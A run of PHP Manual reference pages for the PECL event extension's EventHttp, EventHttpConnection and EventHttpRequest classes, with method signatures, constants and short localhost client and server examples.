  • PHP Manual
  • EventHttp
  • Sets maximum request body size

EventHttp::setMaxBodySize

(PECL event >= 1.4.0-beta)

EventHttp::setMaxBodySize — Sets maximum request body size

Description

public void EventHttp::setMaxBodySize ( int $value )

Sets maximum request body size.

Parameters

value

The body size in bytes.

Return Values

No value is returned.

See Also

  • EventHttp::setMaxHeadersSize() - Sets maximum HTTP header size

User Contributed Notes

There are no user contributed notes for this page.


Sets maximum HTTP header size

  • « EventHttp::setMaxBodySize
  • EventHttp::setTimeout »
  • PHP Manual
  • EventHttp
  • Sets maximum HTTP header size

EventHttp::setMaxHeadersSize

(PECL event >= 1.4.0-beta)

EventHttp::setMaxHeadersSize — Sets maximum HTTP header size

Description

public void EventHttp::setMaxHeadersSize ( int $value )

Sets maximum HTTP header size.

Parameters

value

The header size in bytes.

Return Values

No value is returned.

See Also

  • EventHttp::setMaxHeadersSize()

User Contributed Notes

There are no user contributed notes for this page.


Sets the timeout for an HTTP request

  • « EventHttp::setMaxHeadersSize
  • EventHttpConnection »
  • PHP Manual
  • EventHttp
  • Sets the timeout for an HTTP request

EventHttp::setTimeout

(PECL event >= 1.4.0-beta)

EventHttp::setTimeout — Sets the timeout for an HTTP request

Description

public void EventHttp::setTimeout ( int $value )

Sets the timeout for an HTTP request.

Parameters

value

The timeout in seconds.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


The EventHttpConnection class

(PECL event >= 1.4.0-beta)

Introduction

Represents an HTTP connection.

Class synopsis

EventHttpConnection {
/* Methods */
public __construct ( EventBase $base , EventDnsBase $dns_base , string $address , int $port [, EventSslContext $ctx = NULL ] )
public EventBase getBase ( void )
public void getPeer ( string &$address , int &$port )
public bool makeRequest ( EventHttpRequest $req , int $type , string $uri )
public void setCloseCallback ( callable $callback [, mixed $data ] )
public void setLocalAddress ( string $address )
public void setLocalPort ( int $port )
public void setMaxBodySize ( string $max_size )
public void setMaxHeadersSize ( string $max_size )
public void setRetries ( int $retries )
public void setTimeout ( int $timeout )
}

Table of Contents

  • EventHttpConnection::__construct — Constructs EventHttpConnection object
  • EventHttpConnection::getBase — Returns event base associated with the connection
  • EventHttpConnection::getPeer — Gets the remote address and port associated with the connection
  • EventHttpConnection::makeRequest — Makes an HTTP request over the specified connection
  • EventHttpConnection::setCloseCallback — Set callback for connection close
  • EventHttpConnection::setLocalAddress — Sets the IP address from which HTTP connections are made
  • EventHttpConnection::setLocalPort — Sets the local port from which connections are made
  • EventHttpConnection::setMaxBodySize — Sets maximum body size for the connection
  • EventHttpConnection::setMaxHeadersSize — Sets maximum header size
  • EventHttpConnection::setRetries — Sets the retry limit for the connection
  • EventHttpConnection::setTimeout — Sets the timeout for the connection

User Contributed Notes

There are no user contributed notes for this page.


Constructs EventHttpConnection object

  • « EventHttpConnection
  • EventHttpConnection::getBase »
  • PHP Manual
  • EventHttpConnection
  • Constructs EventHttpConnection object

EventHttpConnection::__construct

(PECL event >= 1.2.6-beta)

EventHttpConnection::__construct — Constructs EventHttpConnection object

Description

public EventHttpConnection::__construct ( EventBase $base , EventDnsBase $dns_base , string $address , int $port [, EventSslContext $ctx = NULL ] )

Constructs EventHttpConnection object.

Parameters

base

Associated event base.

dns_base

If dns_base is NULL, hostname resolution will block.

address

The address to connect to.

port

The port to connect to.

ctx

EventSslContext class object. Enables OpenSSL.

Note:

This parameter is available only if Event is compiled with OpenSSL support and only with Libevent 2.1.0-alpha and higher.

Return Values

Returns EventHttpConnection object.

Changelog

Version | Description
1.9.0 | OpenSSL support (ctx) added.

User Contributed Notes

There are no user contributed notes for this page.


Returns event base associated with the connection

  • « EventHttpConnection::__construct
  • EventHttpConnection::getPeer »
  • PHP Manual
  • EventHttpConnection
  • Returns event base associated with the connection

EventHttpConnection::getBase

(PECL event >= 1.2.6-beta)

EventHttpConnection::getBase — Returns event base associated with the connection

Description

public EventBase EventHttpConnection::getBase ( void )

Returns event base associated with the connection.

Parameters

This function has no parameters.

Return Values

On success returns EventBase object associated with the connection. Otherwise FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Gets the remote address and port associated with the connection

  • « EventHttpConnection::getBase
  • EventHttpConnection::makeRequest »
  • PHP Manual
  • EventHttpConnection
  • Gets the remote address and port associated with the connection

EventHttpConnection::getPeer

(PECL event >= 1.2.6-beta)

EventHttpConnection::getPeer — Gets the remote address and port associated with the connection

Description

public void EventHttpConnection::getPeer ( string &$address , int &$port )

Gets the remote address and port associated with the connection

Parameters

address

Address of the peer.

port

Port of the peer.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Makes an HTTP request over the specified connection

  • « EventHttpConnection::getPeer
  • EventHttpConnection::setCloseCallback »
  • PHP Manual
  • EventHttpConnection
  • Makes an HTTP request over the specified connection

EventHttpConnection::makeRequest

(PECL event >= 1.4.0-beta)

EventHttpConnection::makeRequest — Makes an HTTP request over the specified connection

Description

public bool EventHttpConnection::makeRequest ( EventHttpRequest $req , int $type , string $uri )

Makes an HTTP request over the specified connection. type is one of EventHttpRequest::CMD_* constants.

Parameters

req

The connection object over which to send the request.

type

One of EventHttpRequest::CMD_* constants .

uri

The URI associated with the request.

Return Values

Returns TRUE on success. Otherwise FALSE.

Examples

Example #1 EventHttpConnection::makeRequest() example

<?php
function _request_handler($req, $base) {
    echo __FUNCTION__, PHP_EOL;

    if (is_null($req)) {
        echo "Timed out\n";
    } else {
        $response_code = $req->getResponseCode();

        if ($response_code == 0) {
            echo "Connection refused\n";
        } elseif ($response_code != 200) {
            echo "Unexpected response: $response_code\n";
        } else {
            echo "Success: $response_code\n";
            $buf = $req->getInputBuffer();
            echo "Body:\n";
            while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
                echo $s, PHP_EOL;
            }
        }
    }

    $base->exit(NULL);
}

$address = "127.0.0.1";
$port = 80;

$base = new EventBase();
$conn = new EventHttpConnection($base, NULL, $address, $port);
$conn->setTimeout(5);
$req = new EventHttpRequest("_request_handler", $base);

$req->addHeader("Host", $address, EventHttpRequest::OUTPUT_HEADER);
$req->addHeader("Content-Length", "0", EventHttpRequest::OUTPUT_HEADER);
$conn->makeRequest($req, EventHttpRequest::CMD_GET, "/index.cphp");

$base->loop();
?>

The above example will output something similar to:

_request_handler
Success: 200
Body:
PHP, date:
2013-03-13T20:27:52+05:00

See Also

  • EventHttpRequest::addHeader() - Adds an HTTP header to the headers of the request

User Contributed Notes

There are no user contributed notes for this page.


Set callback for connection close

  • « EventHttpConnection::makeRequest
  • EventHttpConnection::setLocalAddress »
  • PHP Manual
  • EventHttpConnection
  • Set callback for connection close

EventHttpConnection::setCloseCallback

(PECL event >= 1.8.0)

EventHttpConnection::setCloseCallback — Set callback for connection close

Description

public void EventHttpConnection::setCloseCallback ( callable $callback [, mixed $data ] )

Sets callback for connection close.

Parameters

callback

Callback which is called when connection is closed. Should match the following prototype:

void callback ([ EventHttpConnection $conn = NULL [, mixed $arg = NULL ]] )

Return Values

No value is returned.

Examples

Example #1 EventHttpConnection::setCloseCallback() example

<?php
/*
 * Setting up close-connection callback
 *
 * The script handles closed connections using HTTP API.
 *
 * Usage:
 * 1) Launch the server:
 * $ php examples/http_closecb.php 4242
 *
 * 2) Launch a client in another terminal. Telnet-like
 * session should look like the following:
 *
 * $ nc -t 127.0.0.1 4242
 * GET / HTTP/1.0
 * Connection: close
 *
 * The server will output something similar to the following:
 *
 * HTTP/1.0 200 OK
 * Content-Type: multipart/x-mixed-replace;boundary=boundarydonotcross
 * Connection: close
 *
 * <html>
 *
 * 3) Terminate the client connection abruptly,
 * i.e. kill the process, or just press Ctrl-C.
 *
 * 4) Check if the server called _close_callback.
 * The script should output "_close_callback" string to standard output.
 *
 * 5) Check if the server's process has no orphaned connections,
 * e.g. with `lsof` utility.
 */

function _close_callback($conn)
{
    echo __FUNCTION__, PHP_EOL;
}

function _http_default($req, $dummy)
{
    $conn = $req->getConnection();
    $conn->setCloseCallback('_close_callback', NULL);

    /*
    By enabling Event::READ we protect the server against unclosed conections.
    This is a peculiarity of Libevent. The library disables Event::READ events
     on this connection, and the server is not notified about terminated
    connections.

    So each time client terminates connection abruptly, we get an orphaned
    connection. For instance, the following is a part of `lsof -p $PID | grep TCP`
    command after client has terminated connection:

    57-php     15057 ruslan  6u  unix 0xffff8802fb59c780   0t0  125187 socket
    58:php     15057 ruslan  7u  IPv4             125189   0t0     TCP *:4242 (LISTEN)
    59:php     15057 ruslan  8u  IPv4             124342   0t0     TCP localhost:4242->localhost:37375 (CLOSE_WAIT)

    where $PID is our process ID.

    The following block of code fixes such kind of orphaned connections.
     */
    $bev = $req->getBufferEvent();
    $bev->enable(Event::READ);

    $req->addHeader(
        'Content-Type',
        'multipart/x-mixed-replace;boundary=boundarydonotcross',
        EventHttpRequest::OUTPUT_HEADER
    );

    $buf = new EventBuffer();
    $buf->add('<html>');

    $req->sendReply(200, "OK");
    $req->sendReplyChunk($buf);
}

$port = 4242;
if ($argc > 1) {
    $port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
    exit("Invalid port");
}

$base = new EventBase();
$http = new EventHttp($base);

$http->setDefaultCallback("_http_default", NULL);
$http->bind("0.0.0.0", $port);
$base->loop();

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the IP address from which HTTP connections are made

  • « EventHttpConnection::setCloseCallback
  • EventHttpConnection::setLocalPort »
  • PHP Manual
  • EventHttpConnection
  • Sets the IP address from which HTTP connections are made

EventHttpConnection::setLocalAddress

(PECL event >= 1.2.6-beta)

EventHttpConnection::setLocalAddress — Sets the IP address from which HTTP connections are made

Description

public void EventHttpConnection::setLocalAddress ( string $address )

Sets the IP address from which http connections are made.

Parameters

address

The IP address from which HTTP connections are made.

Return Values

No value is returned.

See Also

  • EventHttpConnection::setLocalPort() - Sets the local port from which connections are made

User Contributed Notes

There are no user contributed notes for this page.


Sets the local port from which connections are made

  • « EventHttpConnection::setLocalAddress
  • EventHttpConnection::setMaxBodySize »
  • PHP Manual
  • EventHttpConnection
  • Sets the local port from which connections are made

EventHttpConnection::setLocalPort

(PECL event >= 1.2.6-beta)

EventHttpConnection::setLocalPort — Sets the local port from which connections are made

Description

public void EventHttpConnection::setLocalPort ( int $port )

Sets the local port from which connections are made.

Parameters

port

The port number.

Return Values

See Also

  • EventHttpConnection::setLocalAddress() - Sets the IP address from which HTTP connections are made

User Contributed Notes

There are no user contributed notes for this page.


Sets maximum body size for the connection

  • « EventHttpConnection::setLocalPort
  • EventHttpConnection::setMaxHeadersSize »
  • PHP Manual
  • EventHttpConnection
  • Sets maximum body size for the connection

EventHttpConnection::setMaxBodySize

(PECL event >= 1.2.6-beta)

EventHttpConnection::setMaxBodySize — Sets maximum body size for the connection

Description

public void EventHttpConnection::setMaxBodySize ( string $max_size )

Sets maximum body size for the connection.

Parameters

max_size

The maximum body size in bytes.

Return Values

No value is returned.

See Also

  • EventHttpConnection::setMaxHeadersSize() - Sets maximum header size

User Contributed Notes

There are no user contributed notes for this page.


Sets maximum header size

  • « EventHttpConnection::setMaxBodySize
  • EventHttpConnection::setRetries »
  • PHP Manual
  • EventHttpConnection
  • Sets maximum header size

EventHttpConnection::setMaxHeadersSize

(PECL event >= 1.2.6-beta)

EventHttpConnection::setMaxHeadersSize — Sets maximum header size

Description

public void EventHttpConnection::setMaxHeadersSize ( string $max_size )

Sets maximum header size for the connection.

Parameters

max_size

The maximum header size in bytes.

Return Values

No value is returned.

See Also

  • EventHttpConnection::setMaxBodySize() - Sets maximum body size for the connection

User Contributed Notes

There are no user contributed notes for this page.


Sets the retry limit for the connection

  • « EventHttpConnection::setMaxHeadersSize
  • EventHttpConnection::setTimeout »
  • PHP Manual
  • EventHttpConnection
  • Sets the retry limit for the connection

EventHttpConnection::setRetries

(PECL event >= 1.2.6-beta)

EventHttpConnection::setRetries — Sets the retry limit for the connection

Description

public void EventHttpConnection::setRetries ( int $retries )

Sets the retry limit for the connection

Parameters

retries

The retry limit. -1 means infinity.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the timeout for the connection

  • « EventHttpConnection::setRetries
  • EventHttpRequest »
  • PHP Manual
  • EventHttpConnection
  • Sets the timeout for the connection

EventHttpConnection::setTimeout

(PECL event >= 1.2.6-beta)

EventHttpConnection::setTimeout — Sets the timeout for the connection

Description

public void EventHttpConnection::setTimeout ( int $timeout )

Sets the timeout for the connection

Parameters

timeout

Timeout in seconds.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


The EventHttpRequest class

(PECL event >= 1.4.0-beta)

Introduction

Represents an HTTP request.

Class synopsis

EventHttpRequest {
/* Constants */
const integer CMD_GET = 1 ;
const integer CMD_POST = 2 ;
const integer CMD_HEAD = 4 ;
const integer CMD_PUT = 8 ;
const integer CMD_DELETE = 16 ;
const integer CMD_OPTIONS = 32 ;
const integer CMD_TRACE = 64 ;
const integer CMD_CONNECT = 128 ;
const integer CMD_PATCH = 256 ;
const integer INPUT_HEADER = 1 ;
const integer OUTPUT_HEADER = 2 ;
/* Methods */
public bool addHeader ( string $key , string $value , int $type )
public void cancel ( void )
public void clearHeaders ( void )
public void closeConnection ( void )
public __construct ( callable $callback [, mixed $data = NULL ] )
public void findHeader ( string $key , string $type )
public void free ( void )
public EventBufferEvent closeConnection ( void )
public void getCommand ( void )
public EventHttpConnection closeConnection ( void )
public string getHost ( void )
public EventBuffer getInputBuffer ( void )
public array getInputHeaders ( void )
public EventBuffer getOutputBuffer ( void )
public void getOutputHeaders ( void )
public int getResponseCode ( void )
public string getUri ( void )
public void removeHeader ( string $key , string $type )
public void sendError ( int $error [, string $reason = NULL ] )
public void sendReply ( int $code , string $reason [, EventBuffer $buf ] )
public void sendReplyChunk ( EventBuffer $buf )
public void sendReplyEnd ( void )
public void sendReplyStart ( int $code , string $reason )
}

Predefined Constants

EventHttpRequest::CMD_GET

GET method(command)

EventHttpRequest::CMD_POST

POST method(command)

EventHttpRequest::CMD_HEAD

HEAD method(command)

EventHttpRequest::CMD_PUT

PUT method(command)

EventHttpRequest::CMD_DELETE

DELETE command(method)

EventHttpRequest::CMD_OPTIONS

OPTIONS method(command)

EventHttpRequest::CMD_TRACE

TRACE method(command)

EventHttpRequest::CMD_CONNECT

CONNECT method(command)

EventHttpRequest::CMD_PATCH

PATCH method(command)

EventHttpRequest::INPUT_HEADER

Request input header type.

EventHttpRequest::OUTPUT_HEADER

Request output header type.

Table of Contents

  • EventHttpRequest::addHeader — Adds an HTTP header to the headers of the request
  • EventHttpRequest::cancel — Cancels a pending HTTP request
  • EventHttpRequest::clearHeaders — Removes all output headers from the header list of the request
  • EventHttpRequest::closeConnection — Closes associated HTTP connection
  • EventHttpRequest::__construct — Constructs EventHttpRequest object
  • EventHttpRequest::findHeader — Finds the value belonging a header
  • EventHttpRequest::free — Frees the object and removes associated events
  • EventHttpRequest::getBufferEvent — Returns EventBufferEvent object
  • EventHttpRequest::getCommand — Returns the request command(method)
  • EventHttpRequest::getConnection — Returns EventHttpConnection object
  • EventHttpRequest::getHost — Returns the request host
  • EventHttpRequest::getInputBuffer — Returns the input buffer
  • EventHttpRequest::getInputHeaders — Returns associative array of the input headers
  • EventHttpRequest::getOutputBuffer — Returns the output buffer of the request
  • EventHttpRequest::getOutputHeaders — Returns associative array of the input headers
  • EventHttpRequest::getResponseCode — Returns the response code
  • EventHttpRequest::getUri — Returns the request URI
  • EventHttpRequest::removeHeader — Removes an HTTP header from the headers of the request
  • EventHttpRequest::sendError — Send an HTML error message to the client
  • EventHttpRequest::sendReply — Send an HTML reply to the client
  • EventHttpRequest::sendReplyChunk — Send another data chunk as part of an ongoing chunked reply
  • EventHttpRequest::sendReplyEnd — Complete a chunked reply, freeing the request as appropriate
  • EventHttpRequest::sendReplyStart — Initiate a chunked reply

User Contributed Notes

There are no user contributed notes for this page.


Adds an HTTP header to the headers of the request

  • « EventHttpRequest
  • EventHttpRequest::cancel »
  • PHP Manual
  • EventHttpRequest
  • Adds an HTTP header to the headers of the request

EventHttpRequest::addHeader

(PECL event >= 1.4.0-beta)

EventHttpRequest::addHeader — Adds an HTTP header to the headers of the request

Description

public bool EventHttpRequest::addHeader ( string $key , string $value , int $type )

Adds an HTTP header to the headers of the request.

Parameters

key

Header name.

value

Header value.

type

One of EventHttpRequest::*_HEADER constants .

Return Values

Returns TRUE on success. Otherwise FALSE.

See Also

  • EventHttpRequest::removeHeader() - Removes an HTTP header from the headers of the request

User Contributed Notes

There are no user contributed notes for this page.


Cancels a pending HTTP request

  • « EventHttpRequest::addHeader
  • EventHttpRequest::clearHeaders »
  • PHP Manual
  • EventHttpRequest
  • Cancels a pending HTTP request

EventHttpRequest::cancel

(PECL event >= 1.4.0-beta)

EventHttpRequest::cancel — Cancels a pending HTTP request

Description

public void EventHttpRequest::cancel ( void )

Cancels a pending HTTP request.

Cancels an ongoing HTTP request. The callback associated with this request is not executed and the request object is freed. If the request is currently being processed, e.g. it is ongoing, the corresponding EventHttpConnection object is going to get reset.

A request cannot be canceled if its callback has executed already. A request may be canceled reentrantly from its chunked callback.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Removes all output headers from the header list of the request

  • « EventHttpRequest::cancel
  • EventHttpRequest::closeConnection »
  • PHP Manual
  • EventHttpRequest
  • Removes all output headers from the header list of the request

EventHttpRequest::clearHeaders

(PECL event >= 1.4.0-beta)

EventHttpRequest::clearHeaders — Removes all output headers from the header list of the request

Description

public void EventHttpRequest::clearHeaders ( void )

Removes all output headers from the header list of the request.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • EventHttpRequest::addHeader() - Adds an HTTP header to the headers of the request

User Contributed Notes

There are no user contributed notes for this page.


Closes associated HTTP connection

  • « EventHttpRequest::clearHeaders
  • EventHttpRequest::__construct »
  • PHP Manual
  • EventHttpRequest
  • Closes associated HTTP connection

EventHttpRequest::closeConnection

(PECL event >= 1.8.0)

EventHttpRequest::closeConnection — Closes associated HTTP connection

Description

public void EventHttpRequest::closeConnection ( void )

Closes HTTP connection associated with the request.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Constructs EventHttpRequest object

  • « EventHttpRequest::closeConnection
  • EventHttpRequest::findHeader »
  • PHP Manual
  • EventHttpRequest
  • Constructs EventHttpRequest object

EventHttpRequest::__construct

(PECL event >= 1.4.0-beta)

EventHttpRequest::__construct — Constructs EventHttpRequest object

Description

public EventHttpRequest::__construct ( callable $callback [, mixed $data = NULL ] )

Constructs EventHttpRequest object.

Parameters

callback

Gets invoked on requesting path. Should match the following prototype:

void callback ([ EventHttpRequest $req = NULL [, mixed $arg = NULL ]] )
data

User custom data passed to the callback.

Return Values

Returns EventHttpRequest object.

Examples

Example #1 EventHttpRequest::__construct() example

<?php

function _request_handler($req, $base) {
    echo __FUNCTION__, PHP_EOL;

    if (is_null($req)) {
        echo "Timed out\n";
    } else {
        $response_code = $req->getResponseCode();

        if ($response_code == 0) {
            echo "Connection refused\n";
        } elseif ($response_code != 200) {
            echo "Unexpected response: $response_code\n";
        } else {
            echo "Success: $response_code\n";
            $buf = $req->getInputBuffer();
            echo "Body:\n";
            while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
                echo $s, PHP_EOL;
            }
        }
    }

    $base->exit(NULL);
}

$address = "127.0.0.1";
$port = 80;

$base = new EventBase();
$conn = new EventHttpConnection($base, NULL, $address, $port);
$conn->setTimeout(5);
$req = new EventHttpRequest("_request_handler", $base);

$req->addHeader("Host", $address, EventHttpRequest::OUTPUT_HEADER);
$req->addHeader("Content-Length", "0", EventHttpRequest::OUTPUT_HEADER);
$conn->makeRequest($req, EventHttpRequest::CMD_GET, "/index.cphp");

$base->loop();
?>

See Also

  • EventHttpRequest::cancel() - Cancels a pending HTTP request
  • EventHttpRequest::addHeader() - Adds an HTTP header to the headers of the request

User Contributed Notes

There are no user contributed notes for this page.


Finds the value belonging a header

  • « EventHttpRequest::__construct
  • EventHttpRequest::free »
  • PHP Manual
  • EventHttpRequest
  • Finds the value belonging a header

EventHttpRequest::findHeader

(PECL event >= 1.4.0-beta)

EventHttpRequest::findHeader — Finds the value belonging a header

Description

public void EventHttpRequest::findHeader ( string $key , string $type )

Finds the value belonging a header.

Parameters

key

The header name.

type

One of EventHttpRequest::*_HEADER constants .

Return Values

Returns NULL if header not found.

See Also

  • EventHttpRequest::addHeader() - Adds an HTTP header to the headers of the request

User Contributed Notes

There are no user contributed notes for this page.


Frees the object and removes associated events

  • « EventHttpRequest::findHeader
  • EventHttpRequest::getBufferEvent »
  • PHP Manual
  • EventHttpRequest
  • Frees the object and removes associated events

EventHttpRequest::free

(PECL event >= 1.4.0-beta)

EventHttpRequest::free — Frees the object and removes associated events

Description

public void EventHttpRequest::free ( void )

Frees the object and removes associated events.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Returns EventBufferEvent object

  • « EventHttpRequest::free
  • EventHttpRequest::getCommand »
  • PHP Manual
  • EventHttpRequest
  • Returns EventBufferEvent object

EventHttpRequest::getBufferEvent

(PECL event >= 1.8.0)

EventHttpRequest::getBufferEvent — Returns EventBufferEvent object

Description

public EventBufferEvent EventHttpRequest::closeConnection ( void )

Returns EventBufferEvent object which represents buffer event that the connection is using.

Parameters

This function has no parameters.

Return Values

Returns EventBufferEvent object.

See Also

  • EventHttpRequest::getConnection() - Returns EventHttpConnection object

User Contributed Notes

There are no user contributed notes for this page.


Returns the request command(method)

  • « EventHttpRequest::getBufferEvent
  • EventHttpRequest::getConnection »
  • PHP Manual
  • EventHttpRequest
  • Returns the request command(method)

EventHttpRequest::getCommand

(PECL event >= 1.4.0-beta)

EventHttpRequest::getCommand — Returns the request command(method)

Description

public void EventHttpRequest::getCommand ( void )

Returns the request command, one of EventHttpRequest::CMD_* constants.

Parameters

This function has no parameters.

Return Values

Returns the request command, one of EventHttpRequest::CMD_* constants.

User Contributed Notes

There are no user contributed notes for this page.


Returns EventHttpConnection object

  • « EventHttpRequest::getCommand
  • EventHttpRequest::getHost »
  • PHP Manual
  • EventHttpRequest
  • Returns EventHttpConnection object

EventHttpRequest::getConnection

(PECL event >= 1.8.0)

EventHttpRequest::getConnection — Returns EventHttpConnection object

Description

public EventHttpConnection EventHttpRequest::closeConnection ( void )

Returns EventHttpConnection object which represents HTTP connection associated with the request.

Warning

Libevent API allows HTTP request objects to be not bound to any HTTP connection. Therefore we can't unambiguously associate EventHttpRequest with EventHttpConnection . Thus, we construct EventHttpConnection object on-the-fly. Having no information about the event base, DNS base and connection-close callback, we just leave these fields unset.

EventHttpRequest::getConnection() method is usually useful when we need to set up a callback on connection close. See EventHttpConnection::setCloseCallback() .

Parameters

This function has no parameters.

Return Values

Returns EventHttpConnection object.

See Also

  • EventHttpConnection::setCloseCallback() - Set callback for connection close
  • EventHttpRequest::getBufferEvent() - Returns EventBufferEvent object

User Contributed Notes

There are no user contributed notes for this page.


Returns the request host

  • « EventHttpRequest::getConnection
  • EventHttpRequest::getInputBuffer »
  • PHP Manual
  • EventHttpRequest
  • Returns the request host

EventHttpRequest::getHost

(PECL event >= 1.4.0-beta)

EventHttpRequest::getHost — Returns the request host

Description

public string EventHttpRequest::getHost ( void )

Returns the request host.

Parameters

This function has no parameters.

Return Values

Returns the request host.

See Also

  • EventHttpRequest::getUri() - Returns the request URI
  • EventHttpRequest::getCommand() - Returns the request command(method)

User Contributed Notes

There are no user contributed notes for this page.


Returns the input buffer

  • « EventHttpRequest::getHost
  • EventHttpRequest::getInputHeaders »
  • PHP Manual
  • EventHttpRequest
  • Returns the input buffer

EventHttpRequest::getInputBuffer

(PECL event >= 1.4.0-beta)

EventHttpRequest::getInputBuffer — Returns the input buffer

Description

public EventBuffer EventHttpRequest::getInputBuffer ( void )

Returns the input buffer.

Parameters

This function has no parameters.

Return Values

Returns the input buffer.

See Also

  • EventHttpRequest::getOutputBuffer() - Returns the output buffer of the request

User Contributed Notes

There are no user contributed notes for this page.


Returns associative array of the input headers

  • « EventHttpRequest::getInputBuffer
  • EventHttpRequest::getOutputBuffer »
  • PHP Manual
  • EventHttpRequest
  • Returns associative array of the input headers

EventHttpRequest::getInputHeaders

(PECL event >= 1.4.0-beta)

EventHttpRequest::getInputHeaders — Returns associative array of the input headers

Description

public array EventHttpRequest::getInputHeaders ( void )

Returns associative array of the input headers.

Parameters

This function has no parameters.

Return Values

Returns associative array of the input headers.

See Also

  • EventHttpRequest::getOutputHeaders() - Returns associative array of the input headers

User Contributed Notes

There are no user contributed notes for this page.


Returns the output buffer of the request

  • « EventHttpRequest::getInputHeaders
  • EventHttpRequest::getOutputHeaders »
  • PHP Manual
  • EventHttpRequest
  • Returns the output buffer of the request

EventHttpRequest::getOutputBuffer

(PECL event >= 1.4.0-beta)

EventHttpRequest::getOutputBuffer — Returns the output buffer of the request

Description

public EventBuffer EventHttpRequest::getOutputBuffer ( void )

Returns the output buffer of the request.

Parameters

This function has no parameters.

Return Values

Returns the output buffer of the request.

See Also

  • EventHttpRequest::getInputBuffer() - Returns the input buffer

User Contributed Notes

There are no user contributed notes for this page.


Returns associative array of the input headers

  • « EventHttpRequest::getOutputBuffer
  • EventHttpRequest::getResponseCode »
  • PHP Manual
  • EventHttpRequest
  • Returns associative array of the input headers

EventHttpRequest::getOutputHeaders

(PECL event >= 1.4.0-beta)

EventHttpRequest::getOutputHeaders — Returns associative array of the input headers

Description

public void EventHttpRequest::getOutputHeaders ( void )

Returns associative array of the input headers.

Parameters

This function has no parameters.

Return Values

See Also

  • EventHttpRequest::getInputHeaders() - Returns associative array of the input headers

User Contributed Notes

There are no user contributed notes for this page.


Returns the response code

  • « EventHttpRequest::getOutputHeaders
  • EventHttpRequest::getUri »
  • PHP Manual
  • EventHttpRequest
  • Returns the response code

EventHttpRequest::getResponseCode

(PECL event >= 1.4.0-beta)

EventHttpRequest::getResponseCode — Returns the response code

Description

public int EventHttpRequest::getResponseCode ( void )

Returns the response code.

Parameters

This function has no parameters.

Return Values

Returns the response code of the request.

See Also

  • EventHttpRequest::getCommand() - Returns the request command(method)
  • EventHttpRequest::getHost() - Returns the request host
  • EventHttpRequest::getUri() - Returns the request URI

User Contributed Notes

There are no user contributed notes for this page.


Returns the request URI

  • « EventHttpRequest::getResponseCode
  • EventHttpRequest::removeHeader »
  • PHP Manual
  • EventHttpRequest
  • Returns the request URI

EventHttpRequest::getUri

(PECL event >= 1.4.0-beta)

EventHttpRequest::getUri — Returns the request URI

Description

public string EventHttpRequest::getUri ( void )

Returns the request URI

Parameters

This function has no parameters.

Return Values

Returns the request URI

See Also

  • EventHttpRequest::getCommand() - Returns the request command(method)
  • EventHttpRequest::getHost() - Returns the request host
  • EventHttpRequest::getResponseCode() - Returns the response code

User Contributed Notes

There are no user contributed notes for this page.


Removes an HTTP header from the headers of the request

  • « EventHttpRequest::getUri
  • EventHttpRequest::sendError »
  • PHP Manual
  • EventHttpRequest
  • Removes an HTTP header from the headers of the request

EventHttpRequest::removeHeader

(PECL event >= 1.4.0-beta)

EventHttpRequest::removeHeader — Removes an HTTP header from the headers of the request

Description

public void EventHttpRequest::removeHeader ( string $key , string $type )

Removes an HTTP header from the headers of the request.

Parameters

key

The header name.

type

type is one of EventHttpRequest::*_HEADER constants.

Return Values

Removes an HTTP header from the headers of the request.

See Also

  • EventHttpRequest::addHeader() - Adds an HTTP header to the headers of the request

User Contributed Notes

There are no user contributed notes for this page.


Send an HTML error message to the client

  • « EventHttpRequest::removeHeader
  • EventHttpRequest::sendReply »
  • PHP Manual
  • EventHttpRequest
  • Send an HTML error message to the client

EventHttpRequest::sendError

(PECL event >= 1.4.0-beta)

EventHttpRequest::sendError — Send an HTML error message to the client

Description

public void EventHttpRequest::sendError ( int $error [, string $reason = NULL ] )

Send an HTML error message to the client.

Parameters

error

The HTTP error code.

reason

A brief explanation ofthe error. If NULL, the standard meaning of the error code will be used.

Return Values

No value is returned.

Examples

Example #1 EventHttpRequest::sendError() example

<?php
function _http_400($req) {
    $req->sendError(400);
}

$base = new EventBase();
$http = new EventHttp($base);

$http->setCallback("/err400", "_http_400");

$http->bind("0.0.0.0", 8010);
$base->loop();
?>

See Also

  • EventHttpRequest::sendReply() - Send an HTML reply to the client

User Contributed Notes

There are no user contributed notes for this page.


Send an HTML reply to the client

  • « EventHttpRequest::sendError
  • EventHttpRequest::sendReplyChunk »
  • PHP Manual
  • EventHttpRequest
  • Send an HTML reply to the client

EventHttpRequest::sendReply

(PECL event >= 1.4.0-beta)

EventHttpRequest::sendReply — Send an HTML reply to the client

Description

public void EventHttpRequest::sendReply ( int $code , string $reason [, EventBuffer $buf ] )

Send an HTML reply to the client. The body of the reply consists of data in optional buf parameter.

Parameters

code

The HTTP response code to send.

reason

A brief message to send with the response code.

buf

The body of the response.

Return Values

No value is returned.

See Also

  • EventHttpRequest::sendError() - Send an HTML error message to the client
  • EventHttpRequest::sendReplyChunk() - Send another data chunk as part of an ongoing chunked reply

User Contributed Notes

There are no user contributed notes for this page.


Send another data chunk as part of an ongoing chunked reply

  • « EventHttpRequest::sendReply
  • EventHttpRequest::sendReplyEnd »
  • PHP Manual
  • EventHttpRequest
  • Send another data chunk as part of an ongoing chunked reply

EventHttpRequest::sendReplyChunk

(PECL event >= 1.4.0-beta)

EventHttpRequest::sendReplyChunk — Send another data chunk as part of an ongoing chunked reply

Description

public void EventHttpRequest::sendReplyChunk ( EventBuffer $buf )

Send another data chunk as part of an ongoing chunked reply. After calling this method buf will be empty.

Parameters

buf

The data chunk to send as part of the reply.

Return Values

No value is returned.

See Also

  • EventHttpRequest::sendReplyStart() - Initiate a chunked reply
  • EventHttpRequest::sendReplyEnd() - Complete a chunked reply, freeing the request as appropriate

